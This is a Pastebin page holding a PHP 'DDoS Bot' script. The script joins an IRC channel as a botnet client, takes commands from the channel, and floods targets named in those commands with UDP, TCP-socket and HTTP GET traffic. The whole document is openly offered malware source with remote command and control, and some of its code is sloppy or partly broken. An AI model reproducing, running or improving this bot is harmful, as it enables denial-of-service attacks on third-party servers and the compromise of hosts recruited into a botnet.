TrojanSpot

DDos Bot | www.pemula.info

Oct 15th, 2012
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.73 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. /*
  5.  
  6.  
  7. PHP DDoS Bot
  8. Version 1.0
  9. [www.~censored~.org]
  10.  
  11.  
  12. */
  13.  
  14.  
  15. $server="1.3.3.7";
  16. $Port="6667";
  17. $nick="bot-";$willekeurig;
  18. $willekeurig=mt_rand(0,3);
  19. $nicknummer=mt_rand(100000,999999);
  20. $Channel="#WauShare";
  21. $Channelpass="ddos";
  22. $msg="Farewell.";
  23.  
  24. set_time_limit(0);
  25. $loop = 0; $verbonden = 0;
  26. $verbinden = fsockopen($server, $Port);
  27.  
  28. while ($read = fgets($verbinden,512)) {
  29.  
  30. $read = str_replace("\n","",$read); $read = str_replace("\r","",$read);
  31. $read2 = explode(" ",$read);
  32.  
  33. if ($loop == 0) {
  34. fputs($verbinden,"nick $nick$nicknummer\n\n");
  35. fputs($verbinden,"USER cybercrime 0 * :woopie\n\n");
  36. }
  37.  
  38. if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }
  39.  
  40. if ($read2[1] == 251) {
  41. fputs($verbinden,"join $Channel $Channelpass\n");
  42. $verbonden++;
  43. }
  44.  
  45.  
  46. if (eregi("bot-op",$read)) {
  47. fputs($verbinden,"mode $Channel +o $read2[4]\n");
  48. }
  49.  
  50.  
  51. if (eregi("bot-deop",$read)) {
  52. fputs($verbinden,"mode $Channel -o $read2[4]\n");
  53. }
  54.  
  55. if (eregi("bot-quit",$read)) {
  56. fputs($verbinden,"quit :$msg\n\n");
  57. break;
  58. }
  59.  
  60. if (eregi("bot-join",$read)) {
  61. fputs($verbinden,"join $read2[4]\n");
  62. }
  63.  
  64. if (eregi("bot-part",$read)) {
  65. fputs($verbinden,"part $read2[4]\n");
  66. }
  67.  
  68.  
  69. if (eregi("ddos-udp",$read)) {
  70. fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n");
  71. $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30);
  72. if (!$fp)
  73. {
  74. //echo "$errstr ($errno)<br>\n"; //troep
  75. exit;
  76. }
  77. else
  78. {
  79. $char = "a";
  80. for($a = 0; $a < 9999999999999; $a++)
  81. $data = $data.$char;
  82.  
  83. if(fputs ($fp, $data) )
  84. fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n");
  85. else
  86. fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n");
  87. }
  88. }
  89.  
  90. if (eregi("ddos-tcp",$read)) {
  91. fputs($verbinden,"part $read2[4]\n");
  92. fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n");
  93. $server = $read2[4];
  94. $Port = $read2[5];
  95.  
  96. for($sockets = 0; $sockets < $read2[6]; $sockets++)
  97. {
  98. $verbinden = fsockopen($server, $Port);
  99. }
  100. }
  101.  
  102. if (eregi("ddos-http",$read)) {
  103. fputs($verbinden,"part $read2[4]\n");
  104. fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n");
  105. $Webserver = $read2[4];
  106. $Port = $read2[5];
  107.  
  108. $Aanvraag = "GET / HTTP/1.1\r\n";
  109. $Aanvraag .= "Accept: */*\r\n";
  110. $Aanvraag .= "Accept-Language: nl\r\n";
  111. $Aanvraag .= "Accept-Encoding: gzip, deflate\r\n";
  112. $Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
  113. $Aanvraag .= "Host: $read2[4]\r\n";
  114. $Aanvraag .= "Connection: Keep-Alive\r\n\r\n";
  115.  
  116. for($Aantal = 0; $Aantal < $read2[6]; $Aantal++)
  117. {
  118. $DoS = fsockopen($Webserver, $Port);
  119. fwrite($DoS, $Aanvraag);
  120. fclose($DoS);
  121. }
  122. }
  123. $loop++;
  124.  
  125. }
  126. ?>
Add Comment
Please, Sign In to add comment